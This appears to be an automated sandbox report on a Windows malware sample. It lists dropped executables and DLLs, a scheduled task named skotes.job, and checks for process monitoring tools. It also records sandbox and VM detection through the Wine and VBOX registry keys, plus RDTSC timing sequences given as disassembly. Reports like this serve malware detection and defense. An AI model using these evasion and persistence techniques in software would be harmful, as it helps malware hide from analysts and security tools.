Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

File created: C:\Users\user\Documents\DBAEHCGHII.exe

Jump to dropped file

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File created: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\Documents\DBAEHCGHII.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File created: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\DBAEHCGHII.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\DBAEHCGHII.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\DBAEHCGHII.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: D77B0E second address: D77B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EED699 second address: EED69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EED69F second address: EED6B5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8BCD7C840h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EECB94 second address: EECB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EECCB8 second address: EECCCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C840h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EECE49 second address: EECE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FF8BD1A4C76h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EECE58 second address: EECE5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EECE5C second address: EECE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EECE60 second address: EECE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EECE6B second address: EECE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEE943 second address: EEE987 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FF8BCD7C836h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f adc esi, 3F7E9C0Bh 0x00000015 mov edx, esi 0x00000017 push 00000000h 0x00000019 movzx esi, si 0x0000001c mov ecx, 2C22BF00h 0x00000021 call 00007FF8BCD7C839h 0x00000026 jmp 00007FF8BCD7C843h 0x0000002b push eax 0x0000002c push ebx 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEE987 second address: EEE9B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FF8BD1A4C81h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 jp 00007FF8BD1A4C7Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEADF second address: EEEAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEAE3 second address: EEEB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF8BD1A4C8Ah 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push ebx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop ebx 0x00000016 jmp 00007FF8BD1A4C83h 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007FF8BD1A4C7Ch 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF8BD1A4C86h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEB4B second address: EEEB5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C83Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEB5E second address: EEEBD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FF8BD1A4C78h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D17E9h], eax 0x00000029 push 00000003h 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007FF8BD1A4C78h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D1CF4h], eax 0x0000004b mov dword ptr [ebp+122D2E92h], ebx 0x00000051 push 00000000h 0x00000053 movzx esi, bx 0x00000056 push 00000003h 0x00000058 mov si, cx 0x0000005b call 00007FF8BD1A4C79h 0x00000060 push eax 0x00000061 push edx 0x00000062 push esi 0x00000063 pushad 0x00000064 popad 0x00000065 pop esi 0x00000066 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEBD5 second address: EEEBEA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF8BCD7C83Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEBEA second address: EEEBF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEBF0 second address: EEEC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop esi 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FF8BCD7C841h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007FF8BCD7C846h 0x00000022 pop eax 0x00000023 push 00000000h 0x00000025 push ebp 0x00000026 call 00007FF8BCD7C838h 0x0000002b pop ebp 0x0000002c mov dword ptr [esp+04h], ebp 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc ebp 0x00000039 push ebp 0x0000003a ret 0x0000003b pop ebp 0x0000003c ret 0x0000003d mov edx, 0228BF36h 0x00000042 lea ebx, dword ptr [ebp+1244A817h] 0x00000048 mov esi, dword ptr [ebp+122D2977h] 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEC66 second address: EEEC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BD1A4C88h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEC83 second address: EEEC89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEC89 second address: EEEC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEC8D second address: EEEC91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEED8A second address: EEEDFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007FF8BD1A4C80h 0x00000011 pop eax 0x00000012 jmp 00007FF8BD1A4C7Ch 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007FF8BD1A4C7Ah 0x00000021 mov eax, dword ptr [eax] 0x00000023 jng 00007FF8BD1A4C7Eh 0x00000029 push esi 0x0000002a js 00007FF8BD1A4C76h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 jo 00007FF8BD1A4C76h 0x0000003e jmp 00007FF8BD1A4C7Bh 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEDFC second address: EEEE98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FF8BCD7C838h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov dx, bx 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D1C62h], esi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FF8BCD7C838h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c push 00000003h 0x0000004e movsx edi, ax 0x00000051 call 00007FF8BCD7C839h 0x00000056 jnc 00007FF8BCD7C83Eh 0x0000005c push eax 0x0000005d jmp 00007FF8BCD7C842h 0x00000062 mov eax, dword ptr [esp+04h] 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007FF8BCD7C840h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEE98 second address: EEEEB3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF8BD1A4C7Ch 0x00000008 jnp 00007FF8BD1A4C76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 je 00007FF8BD1A4C7Eh 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
